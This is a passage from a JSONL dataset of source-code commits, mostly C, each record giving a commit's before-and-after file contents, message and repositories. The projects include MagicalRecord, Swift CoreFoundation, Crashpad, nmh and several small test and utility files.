lock(m);\n    q.push(t);\n    c.notify_one();\n  }\n\n  \/\/ Get the \"front\"-element.\n  \/\/ If the queue is empty, wait till a element is avaiable.\n  T dequeue(void)\n  {\n    std::unique_lock<std::mutex> lock(m);\n    while(q.empty())\n    {\n      \/\/ release lock as long as the wait and reaquire it afterwards.\n      c.wait(lock);\n    }\n    T val = q.front();\n    q.pop();\n    return val;\n  }\n\nprivate:\n  std::queue<T> q;\n  mutable std::mutex m;\n  std::condition_variable c;\n};\n\n#endif \/\/ LIBDBB_SAFEQUEUE_H\n","subject":"Add thread safe queue class","message":"Add thread safe queue class\n","lang":"C","license":"mit","repos":"digitalbitbox\/libdbb,digitalbitbox\/libdbb,digitalbitbox\/libdbb"}
{"commit":"47f47c7d5a7c9bf8d222a1b6ecb62ebaa28617fc","old_file":"MagicalRecord\/Categories\/NSManagedObject\/NSManagedObject+MagicalDataImport.h","new_file":"MagicalRecord\/Categories\/NSManagedObject\/NSManagedObject+MagicalDataImport.h","old_contents":"\/\/\n\/\/  NSManagedObject+JSONHelpers.h\n\/\/\n\/\/  Created by Saul Mora on 6\/28\/11.\n\/\/  Copyright 2011 Magical Panda Software LLC. All rights reserved.\n\/\/\n\n#import <CoreData\/CoreData.h>\n\nextern NSString * const kMagicalRecordImportCustomDateFormatKey;\nextern NSString * const kMagicalRecordImportDefaultDateFormatString;\nextern NSString * const kMagicalRecordImportUnixTimeString;\nextern NSString * const kMagicalRecordImportAttributeKeyMapKey;\nextern NSString * const kMagicalRecordImportAttributeValueClassNameKey;\n\nextern NSString * const kMagicalRecordImportRelationshipMapKey;\nextern NSString * const kMagicalRecordImportRelationshipLinkedByKey;\nextern NSString * const kMagicalRecordImportRelationshipTypeKey;\n\n@interface NSManagedObject (MagicalRecord_DataImport)\n\n- (BOOL) MR_importValuesForKeysWithObject:(id)objectData;\n\n+ (instancetype) MR_importFromObject:(id)data;\n+ (instancetype) MR_importFromObject:(id)data inContext:(NSManagedObjectContext *)context;\n\n+ (NSArray *) MR_importFromArray:(NSArray *)listOfObjectData;\n+ (NSArray *) MR_importFromArray:(NSArray *)listOfObjectData inContext:(NSManagedObjectContext *)context;\n\n@end\n\n@interface NSManagedObject (MagicalRecord_DataImportControls)\n\n- (BOOL) shouldImport:(id)data;\n- (void) willImport:(id)data;\n- (void) didImport:(id)data;\n\n@end\n","new_contents":"\/\/\n\/\/  NSManagedObject+JSONHelpers.h\n\/\/\n\/\/  Created by Saul Mora on 6\/28\/11.\n\/\/  Copyright 2011 Magical Panda Software LLC. All rights reserved.\n\/\/\n\n#import <CoreData\/CoreData.h>\n\nextern NSString * const kMagicalRecordImportCustomDateFormatKey;\nextern NSString * const kMagicalRecordImportDefaultDateFormatString;\nextern NSString * const kMagicalRecordImportUnixTimeString;\nextern NSString * const kMagicalRecordImportAttributeKeyMapKey;\nextern NSString * const kMagicalRecordImportAttributeValueClassNameKey;\n\nextern NSString * const kMagicalRecordImportRelationshipMapKey;\nextern NSString * const kMagicalRecordImportRelationshipLinkedByKey;\nextern NSString * const kMagicalRecordImportRelationshipTypeKey;\n\n@interface NSManagedObject (MagicalRecord_DataImport)\n\n+ (instancetype) MR_importFromObject:(id)data;\n+ (instancetype) MR_importFromObject:(id)data inContext:(NSManagedObjectContext *)context;\n\n+ (NSArray *) MR_importFromArray:(NSArray *)listOfObjectData;\n+ (NSArray *) MR_importFromArray:(NSArray *)listOfObjectData inContext:(NSManagedObjectContext *)context;\n\n@end\n\n@interface NSManagedObject (MagicalRecord_DataImportControls)\n\n- (BOOL) shouldImport:(id)data;\n- (void) willImport:(id)data;\n- (void) didImport:(id)data;\n\n@end\n","subject":"Remove unnecessarily public method from interface","message":"Remove unnecessarily public method from interface\n","lang":"C","license":"mit","repos":"lifcio\/MagicalRecord,akaking\/MagicalRecord,csotiriou\/MagicalRecord,donvaughn\/MagicalRecord,BlessNeo\/MagicalRecord,tmacyml\/MagicalRecord,sujeking\/MagicalRecord,zyncro\/MagicalRecord,libiao88\/MagicalRecord,lintaoSuper\/MagicalRecord,zezefamily\/MagicalRecord,kidaa\/MagicalRecord,donvaughn\/MagicalRecord,yanyuqingshi\/MagicalRecord,orta\/MagicalRecord,kingloveyy\/MagicalRecord,wongzigii\/MagicalRecord,qingsong-xu\/MagicalRecord,Gaantz\/MagicalRecord,csotiriou\/MagicalRecord,cnbin\/MagicalRecord,TheGiantPixelCorporation\/MagicalRecord,iosRookie\/MagicalRecord,AnthonyMDev\/MagicalRecord,AnthonyMDev\/MagicalRecord,AlanJN\/MagicalRecord,msdgwzhy6\/MagicalRecord,zezefamily\/MagicalRecord,megawina\/MagicalRecord,simoncoulton\/MagicalRecord,mmmilo\/MagicalRecord,tranhoanganh\/MagicalRecord,csotiriou\/MagicalRecord,hsoi\/MagicalRecord,tmacyml\/MagicalRecord,ziyabal\/MagicalRecord,akaking\/MagicalRecord,zhouwude\/MagicalRecord,iosdevvivek\/MagicalRecord,z514306470\/MagicalRecord,Vincent8ziv\/MagicalRecord,mmmilo\/MagicalRecord,PeterStudio\/MagicalRecord,ruikong\/MagicalRecord,diejmon\/MagicalRecord,ondev\/MagicalRecord,iosdevvivek\/MagicalRecord,lifcio\/MagicalRecord,avielg\/MagicalRecord,TheGiantPixelCorporation\/MagicalRecord,pronebird\/MagicalRecord,spex-app\/MagicalRecord,z514306470\/MagicalRecord,tranhoanganh\/MagicalRecord,Gaantz\/MagicalRecord,xb123456456\/MagicalRecord,fhchina\/MagicalRecord,justinjing\/MagicalRecord,ChinaPicture\/MagicalRecord,pengleelove\/MagicalRecord,sburavtsov\/MagicalRecord,wongzigii\/MagicalRecord,hanangellove\/MagicalRecord,fhchina\/MagicalRecord,caoer\/MagicalRecord,ondev\/MagicalRecord,hanangellove\/MagicalRecord,cnbin\/MagicalRecord,hsoi\/MagicalRecord,igroomgrim\/MagicalRecord,zhouwude\/MagicalRecord,12207480\/MagicalRecord,msdgwzhy6\/MagicalRecord,qingsong-xu\/MagicalRecord,justinjing\/MagicalRecord,ChinaPicture\/MagicalRecord,lintaoSuper\/MagicalRecord,PeterStudio\/MagicalRecord,happy201993\/MagicalRecord,xxkkk\/MagicalRecord,orta\/MagicalRecord,sburavtsov\/MagicalRecord,zhaoguohui\/MagicalRecord,avielg\/MagicalRecord,yanyuqingshi\/MagicalRecord,liufeigit\/MagicalRecord,xb123456456\/MagicalRecord,ruikong\/MagicalRecord,pengleelove\/MagicalRecord,AnthonyMDev\/MagicalRecord,zhaoguohui\/MagicalRecord,12207480\/MagicalRecord,pronebird\/MagicalRecord,jiamaozheng\/MagicalRecord,yiplee\/MagicalRecord,liufeigit\/MagicalRecord,iosRookie\/MagicalRecord,Vincent8ziv\/MagicalRecord,lintaoSuper\/MagicalRecord,caoer\/MagicalRecord,AlanJN\/MagicalRecord,vascoorey\/MagicalRecord,sujeking\/MagicalRecord,happy201993\/MagicalRecord,yiplee\/MagicalRecord,diejmon\/MagicalRecord,ziyabal\/MagicalRecord,diejmon\/MagicalRecord,igroomgrim\/MagicalRecord,igroomgrim\/MagicalRecord,kidaa\/MagicalRecord,AmitaiB\/MagicalRecord,xxkkk\/MagicalRecord,AmitaiB\/MagicalRecord,libiao88\/MagicalRecord,spex-app\/MagicalRecord,kingloveyy\/MagicalRecord,BlessNeo\/MagicalRecord,orta\/MagicalRecord,hsoi\/MagicalRecord,zyncro\/MagicalRecord,simoncoulton\/MagicalRecord,spex-app\/MagicalRecord,vascoorey\/MagicalRecord,jiamaozheng\/MagicalRecord,megawina\/MagicalRecord"}
{"commit":"dcc7db1fa3167c6dca1fef18dd38b820952faa49","old_file":"CoreFoundation\/Base.subproj\/CFAsmMacros.h","new_file":"CoreFoundation\/Base.subproj\/CFAsmMacros.h","old_contents":"\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2015 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\n#if !defined(__COREFOUNDATION_CFASMMACROS__)\n#define __COREFOUNDATION_CFASMMACROS__ 1\n\n#define CONCAT(a,b) a##b\n#define CONCAT_EXPANDED(a,b) CONCAT(a,b)\n#define _C_LABEL(name) CONCAT_EXPANDED(__USER_LABEL_PREFIX__,name)\n\n#if defined(__GNU__) || defined(__ANDROID__) || defined(__FreeBSD__)\n#define NO_EXEC_STACK_DIRECTIVE .section .note.GNU-stack,\"\",%progbits\n#else\n#define NO_EXEC_STACK_DIRECTIVE\n#endif\n\n#endif\n\n","new_contents":"\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2015 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\n#if !defined(__COREFOUNDATION_CFASMMACROS__)\n#define __COREFOUNDATION_CFASMMACROS__ 1\n\n#define CONCAT(a,b) a##b\n#define CONCAT_EXPANDED(a,b) CONCAT(a,b)\n#define _C_LABEL(name) CONCAT_EXPANDED(__USER_LABEL_PREFIX__,name)\n\n#if defined(__GNU__) || defined(__GNUC__) || defined(__ANDROID__) || defined(__FreeBSD__)\n#define NO_EXEC_STACK_DIRECTIVE .section .note.GNU-stack,\"\",%progbits\n#else\n#define NO_EXEC_STACK_DIRECTIVE\n#endif\n\n#endif\n\n","subject":"Fix libFoundation.so being flagged as requiring executable stack","message":"Fix libFoundation.so being flagged as requiring executable stack\n\nlibFoundation.so is flagged as requiring an executable stack on Linux, although it does not. This is due to GNU as behavior.\nPlease see discussion at https:\/\/bugs.swift.org\/browse\/SR-2700?jql=text%20~%20%22executable%20stack%22\n\nThis was already intended to be solved by https:\/\/github.com\/apple\/swift-corelibs-foundation\/pull\/649\/, but did not work as intended in Ubuntu. Checking for __GNUC__ in addition resolves the issue.\n","lang":"C","license":"apache-2.0","repos":"ikesyo\/swift-corelibs-foundation,JGiola\/swift-corelibs-foundation,amraboelela\/swift-corelibs-foundation,ikesyo\/swift-corelibs-foundation,johnno1962b\/swift-corelibs-foundation,parkera\/swift-corelibs-foundation,alblue\/swift-corelibs-foundation,amraboelela\/swift-corelibs-foundation,apple\/swift-corelibs-foundation,johnno1962b\/swift-corelibs-foundation,amraboelela\/swift-corelibs-foundation,johnno1962e\/swift-corelibs-foundation,apple\/swift-corelibs-foundation,apple\/swift-corelibs-foundation,bolshedvorsky\/swift-corelibs-foundation,e78l\/swift-corelibs-foundation,johnno1962b\/swift-corelibs-foundation,mohitathwani\/swift-corelibs-foundation,ikesyo\/swift-corelibs-foundation,johnno1962b\/swift-corelibs-foundation,amraboelela\/swift-corelibs-foundation,johnno1962b\/swift-corelibs-foundation,alblue\/swift-corelibs-foundation,alblue\/swift-corelibs-foundation,amosavian\/swift-corelibs-foundation,amraboelela\/swift-corelibs-foundation,mattrajca\/swift-corelibs-foundation,ikesyo\/swift-corelibs-foundation,JGiola\/swift-corelibs-foundation,apple\/swift-corelibs-foundation,ikesyo\/swift-corelibs-foundation,mattrajca\/swift-corelibs-foundation,bolshedvorsky\/swift-corelibs-foundation,amosavian\/swift-corelibs-foundation,amosavian\/swift-corelibs-foundation,mattrajca\/swift-corelibs-foundation,mattrajca\/swift-corelibs-foundation,johnno1962e\/swift-corelibs-foundation,mohitathwani\/swift-corelibs-foundation,e78l\/swift-corelibs-foundation,parkera\/swift-corelibs-foundation,mohitathwani\/swift-corelibs-foundation,apple\/swift-corelibs-foundation,alblue\/swift-corelibs-foundation,johnno1962c\/swift-corelibs-foundation,mohitathwani\/swift-corelibs-foundation,e78l\/swift-corelibs-foundation,johnno1962e\/swift-corelibs-foundation,amosavian\/swift-corelibs-foundation,johnno1962c\/swift-corelibs-foundation,e78l\/swift-corelibs-foundation,JGiola\/swift-corelibs-foundation,mattrajca\/swift-corelibs-foundation,johnno1962c\/swift-corelibs-foundation,bolshedvorsky\/swift-corelibs-foundation,alblue\/swift-corelibs-foundation,e78l\/swift-corelibs-foundation,parkera\/swift-corelibs-foundation,JGiola\/swift-corelibs-foundation,JGiola\/swift-corelibs-foundation,bolshedvorsky\/swift-corelibs-foundation,parkera\/swift-corelibs-foundation,johnno1962e\/swift-corelibs-foundation,parkera\/swift-corelibs-foundation,bolshedvorsky\/swift-corelibs-foundation,johnno1962e\/swift-corelibs-foundation,amosavian\/swift-corelibs-foundation,johnno1962c\/swift-corelibs-foundation,mohitathwani\/swift-corelibs-foundation,johnno1962c\/swift-corelibs-foundation"}
{"commit":"c3eea81ded78e7803b42f09697bc202e1b1aaf86","old_file":"sbr\/read_line.c","new_file":"sbr\/read_line.c","old_contents":"#include <h\/mh.h>\n\nconst char *\nread_line(void)\n{\n    char *cp;\n    static char line[BUFSIZ];\n\n    fflush(stdout);\n    if (fgets(line, sizeof(line), stdin) == NULL)\n            return NULL;\n    if ((cp = strchr(line, '\\n')))\n\t*cp = 0;\n    return line;\n}\n\n","new_contents":"#include <h\/mh.h>\n#include <h\/utils.h>\n\nconst char *\nread_line(void)\n{\n    static char line[BUFSIZ];\n\n    fflush(stdout);\n    if (fgets(line, sizeof(line), stdin) == NULL)\n            return NULL;\n    TrimSuffixC(line, '\\n');\n\n    return line; \/* May not be a complete line. *\/\n}\n","subject":"Replace strchr() condition with TrimSuffixC().","message":"Replace strchr() condition with TrimSuffixC().\n","lang":"C","license":"bsd-3-clause","repos":"mcr\/nmh,mcr\/nmh"}
{"commit":"dad599a4b721780c6b11122bf88c39bdda5c9eed","old_file":"include\/tiramisu\/MainPage.h","new_file":"include\/tiramisu\/MainPage.h","old_contents":"\/** \\file\n * This file only exists to contain the front-page of the documentation\n *\/\n\n\/** \\mainpage Tiramisu Optimization Framework \n * Tiramisu is a library that is designed to simplify code optimization and code generation.  The user can express his code in the Tiramisu intermediate representation (Tiramisu IR), he can use the Tiramisu API to perform different optimizations and finaly he can generate an LLVM code from the optimized Tiramisu IR.\n *\n * Tiramisu provides few classes to enable users to represent their program:\n * - The \\ref tiramisu::function class: a function is composed of multiple computations and a vector of arguments (functions arguments).\n * - The \\ref tiramisu::computation class: a computation is composed of an expression and an iteration space but is not associated with any memory location.\n * - The \\ref tiramisu::buffer class: a class to represent memory buffers.\n *\n * \\example tutorials\/tutorial_01.cpp \n * \\example tutorials\/tutorial_02.cpp \n * \\example tutorials\/tutorial_03.cpp \n * \\example tutorials\/tutorial_04.cpp \n * \\example tutorials\/tutorial_05.cpp \n * \\example tutorials\/tutorial_06.cpp \n *\/\n","new_contents":"\/** \\file\n * This file only exists to contain the front-page of the documentation\n *\/\n\n\/** \\mainpage Documentation of the API if the Tiramisu Compiler\n *\n * Tiramisu provides few classes to enable users to represent their program:\n * - The \\ref tiramisu::function class: a function in Tiramisu is equivalent to a function in C. It is composed of multiple computations. Each computation is the equivalent of a statement in C.\n * - The \\ref tiramisu::input class: an input is used to represent inputs passed to Tiramisu.  An input can represent a buffer or a scalar.\n * - The \\ref tiramisu::constant class: a constant is designed to represent constants that are supposed to be declared at the beginning of a Tiramisu function.\n * - The \\ref tiramisu::computation class: a computation in Tiramisu is the equivalent of a statement in C. It is composed of an expression and an iteration domain.\n * - The \\ref tiramisu::buffer class: a class to represent memory buffers.\n *\n *\/\n","subject":"Fix the documentation main page","message":"Fix the documentation main page\n","lang":"C","license":"mit","repos":"rbaghdadi\/ISIR,rbaghdadi\/tiramisu,rbaghdadi\/tiramisu,rbaghdadi\/tiramisu,rbaghdadi\/COLi,rbaghdadi\/ISIR,rbaghdadi\/tiramisu,rbaghdadi\/COLi"}
{"commit":"37dd8f83def8e85cdf1b71528832980021078d86","old_file":"compat\/linux\/sys\/user.h","new_file":"compat\/linux\/sys\/user.h","old_contents":"\/\/ Copyright 2018 The Crashpad Authors. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef CRASHPAD_COMPAT_LINUX_SYS_USER_H_\n#define CRASHPAD_COMPAT_LINUX_SYS_USER_H_\n\n#include_next <sys\/user.h>\n\n#include <features.h>\n\n\/\/ glibc for 64-bit ARM uses different names for these structs prior to 2.20.\n#if defined(__aarch64__) && defined(__GLIBC__)\n#if !__GLIBC_PREREQ(2, 20)\nusing user_regs_struct = user_pt_regs;\nusing user_fpsimd_struct = user_fpsimd_state;\n#endif\n#endif\n\n#endif  \/\/ CRASHPAD_COMPAT_LINUX_SYS_USER_H_\n","new_contents":"\/\/ Copyright 2018 The Crashpad Authors. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef CRASHPAD_COMPAT_LINUX_SYS_USER_H_\n#define CRASHPAD_COMPAT_LINUX_SYS_USER_H_\n\n#include_next <sys\/user.h>\n\n#include <features.h>\n\n\/\/ glibc for 64-bit ARM uses different names for these structs prior to 2.20.\n\/\/ However, Debian's glibc 2.19-8 backported the change so it's not sufficient\n\/\/ to only test the version. user_pt_regs and user_fpsimd_state are actually\n\/\/ defined in <asm\/ptrace.h> so we use the include guard here.\n#if defined(__aarch64__) && defined(__GLIBC__)\n#if !__GLIBC_PREREQ(2, 20) && defined(__ASM_PTRACE_H)\nusing user_regs_struct = user_pt_regs;\nusing user_fpsimd_struct = user_fpsimd_state;\n#endif\n#endif\n\n#endif  \/\/ CRASHPAD_COMPAT_LINUX_SYS_USER_H_\n","subject":"Fix compilation issue on arm64 with Debian's glibc 2.19","message":"Fix compilation issue on arm64 with Debian's glibc 2.19\n\nFuchsia's glibc is derived from Debian so it's causing issues on\nFuchsia.\n\nChange-Id: I46368eb08f7cc7338783f115869e5c761f35e465\nReviewed-on: https:\/\/chromium-review.googlesource.com\/c\/crashpad\/crashpad\/+\/2630288\nReviewed-by: Joshua Peraza <f5809a5e35ec7e1bd0e25cb0a0b68bb433cf6f17@chromium.org>\nCommit-Queue: Joshua Peraza <f5809a5e35ec7e1bd0e25cb0a0b68bb433cf6f17@chromium.org>\n","lang":"C","license":"apache-2.0","repos":"chromium\/crashpad,chromium\/crashpad,chromium\/crashpad"}
{"commit":"e6a2cdb5e6ab64d929c96981f5ef3b53c8f9c49a","old_file":"test\/struct-init-swap.c","new_file":"test\/struct-init-swap.c","old_contents":"","new_contents":"\/* From Listing 3 in \"Test-Case Reduction for C Compiler Bugs\" paper, avaiable\n * at http:\/\/www.cs.utah.edu\/~regehr\/papers\/pldi12-preprint.pdf.\n *\/\n\nint printf (const char *, ...);\nstruct {\n\tint f0;\n\tint f1;\n\tint f2;\n} a, b = { 0, 0, 1 };\n\nvoid fn1 () {\n\ta = b;\n\ta = a;\n}\n\nint main () {\n\tfn1 ();\n\tprintf (\"%d\\n\", a.f2);\n\treturn 0;\n}\n","subject":"Add test case on struct initialization and assignment","message":"Add test case on struct initialization and assignment\n","lang":"C","license":"mit","repos":"larmel\/lacc,larmel\/c-compiler,larmel\/lacc,larmel\/c-compiler,larmel\/c-compiler"}
{"commit":"699f3c15e0d84c2005741464cbb988b354b4da54","old_file":"ir-debug-robotc.c","new_file":"ir-debug-robotc.c","old_contents":"","new_contents":"#pragma config(Sensor, S1,     ir,             sensorHiTechnicIRSeeker600)\n\/\/*!!Code automatically generated by 'ROBOTC' configuration wizard               !!*\/\/\n\ntask main() {\n\twhile (true) {\n\t\tnxtDisplayTextLine(0, \"S:%d\", SensorValue[ir]);\n\t\tnxtDisplayTextLine(1, \"R:%d\", SensorRaw[ir]);\n\t}\n}\n","subject":"Add IR sensor debugging program, using robotc API","message":"Add IR sensor debugging program, using robotc API\n","lang":"C","license":"mit","repos":"patrickmess\/ftc-2013,patrickmess\/ftc-2013"}
{"commit":"0bcab9dae52e680b345f83228a83370f370fc929","old_file":"c_src\/kinit.c","new_file":"c_src\/kinit.c","old_contents":"#include <erl_nif.h>\n\nstatic ERL_NIF_TERM kinit(ErlNifEnv* env, int argc, const ERL_NIF_TERM argv[])\n{\n    return enif_make_atom(env, \"true\");\n}\n\nstatic ErlNifFunc nif_funcs[] = {\n    {\"kinit\", 2, kinit}\n};\n\nERL_NIF_INIT(kinit, nif_funcs, NULL, NULL, NULL, NULL)\n","new_contents":"#include <erl_nif.h>\n\nstatic ERL_NIF_TERM kinit(ErlNifEnv* env, int argc, const ERL_NIF_TERM argv[]) {\n    return enif_make_atom(env, \"true\");\n}\n\nint noop(ErlNifEnv* env, void** priv_data, void** old_priv_data, ERL_NIF_TERM load_info) {\n    return 0;\n}\n\nstatic ErlNifFunc nif_funcs[] = {\n    {\"kinit\", 2, kinit}\n};\n\nERL_NIF_INIT(kinit, nif_funcs, NULL, NULL, noop, NULL)\n","subject":"Add a noop for upgrade so we don't get the warning.","message":"Add a noop for upgrade so we don't get the warning.\n","lang":"C","license":"bsd-3-clause","repos":"simmel\/rabbitmq-auth-backend-kerberos"}
{"commit":"41e9e0c4988a92ba3cba90959622ae8673f7c1f7","old_file":"src\/rtcmix\/io.c","new_file":"src\/rtcmix\/io.c","old_contents":"#include <stdio.h>\nextern int print_is_on;\n\ndouble m_open(float *, short, double *);\n\ndouble\nm_input(float *p,short n_args,double *pp)\n{\n\tp[1] = (n_args > 1) ? p[1] : 0.;\n\tp[2] = 0;\n\tn_args = 3;\n\tif(print_is_on)\n\t\tfprintf(stderr,\"Opening input file as unit %d\\n\",(int)p[1]);\n\treturn m_open(p,n_args,pp);\n}\n\ndouble\nm_output(float *p,short n_args,double *pp)\n{\n\tint i;\n\tp[1] = (n_args > 1) ? p[1] : 1.;\n\tp[2] = 2;\n\tn_args = 3;\n\ti = p[0];\n\tif(print_is_on)\n\t\tfprintf(stderr,\"Opening output file as unit %d\\n\",(int)p[1]);\n    \treturn m_open(p,n_args,pp);\n}\n","new_contents":"#include <globals.h>\n#include <stdio.h>\n\nextern double m_open(float *, short, double *);\n\ndouble\nm_input(float *p,short n_args,double *pp)\n{\n\tp[1] = (n_args > 1) ? p[1] : 0.;\n\tp[2] = 0;\n\tn_args = 3;\n\tif(print_is_on)\n\t\tfprintf(stderr,\"Opening input file as unit %d\\n\",(int)p[1]);\n\treturn m_open(p,n_args,pp);\n}\n\ndouble\nm_output(float *p,short n_args,double *pp)\n{\n\tint i;\n\tp[1] = (n_args > 1) ? p[1] : 1.;\n\tp[2] = 2;\n\tn_args = 3;\n\ti = p[0];\n\tif(print_is_on)\n\t\tfprintf(stderr,\"Opening output file as unit %d\\n\",(int)p[1]);\n    \treturn m_open(p,n_args,pp);\n}\n","subject":"Move some globals to globals.h.","message":"Move some globals to globals.h.\n","lang":"C","license":"apache-2.0","repos":"RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix"}
{"commit":"198b1ef1cc1c23cb15f3cc880b93b9ca2d3fd232","old_file":"src\/shared.c","new_file":"src\/shared.c","old_contents":"#include <openssl\/conf.h>\n#include <openssl\/bio.h>\n#include <openssl\/evp.h>\n#include <string.h>\n#include \"shared.h\"\n\nint base64_decode\n(char *src, bytes *dest)\n{\n\tBIO *bio, *b64;\n\tunsigned int max_len = strlen(src) * 0.75;\n\n\tdest->data = malloc(max_len);\n\tif (dest->data == NULL) return -1;\n\n\tb64 = BIO_new(BIO_f_base64());\n\tbio = BIO_new_mem_buf(src, -1);\n\tbio = BIO_push(b64, bio);\n\tdest->length = (int)BIO_read(bio, dest->data, max_len);\n\tBIO_free_all(bio);\n\n\treturn 0;\n}\n\nint base64_encode\n(char *src, int src_len, char **dest)\n{\n\treturn -1;\n}\n","new_contents":"#include <openssl\/conf.h>\n#include <openssl\/bio.h>\n#include <openssl\/evp.h>\n#include <string.h>\n#include <stdio.h>\n#include \"shared.h\"\n\nint base64_decode\n(char *src, bytes *dest)\n{\n\tBIO *bio, *b64;\n\tunsigned int max_len = strlen(src) * 3 \/ 4;\n\n\tdest->data = malloc(max_len);\n\tif (dest->data == NULL) return -1;\n\n\tFILE* stream = fmemopen(src, strlen(src), \"r\");\n\tb64 = BIO_new(BIO_f_base64());\n\tbio = BIO_new_fp(stream, BIO_NOCLOSE);\n\tbio = BIO_push(b64, bio);\n\tBIO_set_flags(bio, BIO_FLAGS_BASE64_NO_NL);\n\tdest->length = BIO_read(bio, dest->data, max_len);\n\tBIO_free_all(bio);\n\n\treturn 0;\n}\n\nint base64_encode\n(char *src, int src_len, char **dest)\n{\n\treturn -1;\n}\n","subject":"Fix overflow bug in OpenSSL","message":"Fix overflow bug in OpenSSL\n","lang":"C","license":"bsd-3-clause","repos":"undesktop\/libopkeychain"}
{"commit":"175c55b147b047c632edba546e15441207febf83","old_file":"tests\/recordinit.c","new_file":"tests\/recordinit.c","old_contents":"","new_contents":"typedef struct list {\n    struct list *next;\n    struct list *prev;\n} list_t;\n\ntypedef struct record {\n    int    data1;\n    list_t node;\n    int    data2;\n} record_t;\n\n#define container(p) ((record_t*)((int*)(p) - 1))\n\nvoid init_record(list_t *p) {\n    record_t *r = container(p);\n    r->data2    = 42;\n}\n\nvoid init_all_records(list_t *p) {\n    while (p != NULL) {\n        init_record(p);\n        p = p->next;\n    }\n}\n","subject":"Add Qadeer record init example","message":"Add Qadeer record init example\n","lang":"C","license":"bsd-3-clause","repos":"ucsd-progsys\/csolve,ucsd-progsys\/csolve-bak,ucsd-progsys\/csolve-bak,ucsd-progsys\/csolve-bak,ucsd-progsys\/csolve,ucsd-progsys\/csolve,ucsd-progsys\/csolve,ucsd-progsys\/csolve,ucsd-progsys\/csolve,ucsd-progsys\/csolve-bak,ucsd-progsys\/csolve-bak,ucsd-progsys\/csolve,ucsd-progsys\/csolve,ucsd-progsys\/csolve,ucsd-progsys\/csolve,ucsd-progsys\/csolve-bak,ucsd-progsys\/csolve-bak,ucsd-progsys\/csolve-bak,ucsd-progsys\/csolve,ucsd-progsys\/csolve-bak,ucsd-progsys\/csolve-bak,ucsd-progsys\/csolve-bak"}
{"commit":"27ebeb2662d52baeab1afd0e1b61fefa18eb40c3","old_file":"src\/flags.c","new_file":"src\/flags.c","old_contents":"#include \"flags.h\"\n\n#include <stdio.h>\n\n#include \"laco.h\"\n#include \"util.h\"\n\nstatic const char* version_matches[] = {\"-v\", \"--version\", NULL};\nstatic const char* help_matches[]    = {\"-h\", \"-?\", \"--help\", NULL};\n\n\/* Print off the current version of laco *\/\nstatic void handle_version(LacoState* laco, const char** arguments) {\n  const char* version = laco_get_laco_version(laco);\n\n  printf(\"laco version %s\\n\", version);\n  laco_kill(laco, 0, NULL);\n}\n\n\/* Print off the help screen *\/\nstatic void handle_help(LacoState* laco, const char** arguments) {\n  puts(\"A better REPL for Lua.\\n\");\n  puts(\"Usage: laco [options]\\n\");\n  puts(\"-h | -? | --help   \\tPrint this help screen\");\n  puts(\"-v | --version     \\tPrint current version\");\n\n  laco_kill(laco, 0, NULL);\n}\n\nstatic const struct LacoCommand flag_commands[] = {\n  { version_matches, handle_version },\n  { help_matches,    handle_help },\n  { NULL, NULL}\n};\n\n\/* External API *\/\n\nvoid laco_handle_flag(LacoState* laco) {\n  const char* command = laco_get_laco_args(laco)[1];\n\n  laco_dispatch(flag_commands, laco, command, NULL);\n}\n","new_contents":"#include \"flags.h\"\n\n#include <stdio.h>\n\n#include \"laco.h\"\n#include \"util.h\"\n\nstatic const char* version_matches[] = {\"-v\", \"--version\", NULL};\nstatic const char* help_matches[]    = {\"-h\", \"-?\", \"--help\", NULL};\n\n\/* Print off the current version of laco *\/\nstatic void handle_version(LacoState* laco, const char** arguments) {\n  const char* version = laco_get_laco_version(laco);\n\n  printf(\"laco version %s\\n\", version);\n  laco_kill(laco, 0, NULL);\n}\n\n\/* Print off the help screen *\/\nstatic void handle_help(LacoState* laco, const char** arguments) {\n  puts(\"A better REPL for Lua.\\n\");\n  puts(\"Usage: laco [options]\\n\");\n  puts(\"-h | -? | --help   \\tPrint this help screen\");\n  puts(\"-v | --version     \\tPrint current version\");\n\n  laco_kill(laco, 0, NULL);\n}\n\nstatic const struct LacoCommand flag_commands[] = {\n  { version_matches, handle_version },\n  { help_matches,    handle_help },\n  { NULL, NULL }\n};\n\n\/* External API *\/\n\nvoid laco_handle_flag(LacoState* laco) {\n  const char* command = laco_get_laco_args(laco)[1];\n\n  laco_dispatch(flag_commands, laco, command, NULL);\n}\n","subject":"Add a space to the terminating array entry","message":"Add a space to the terminating array entry\n","lang":"C","license":"bsd-2-clause","repos":"sourrust\/laco"}
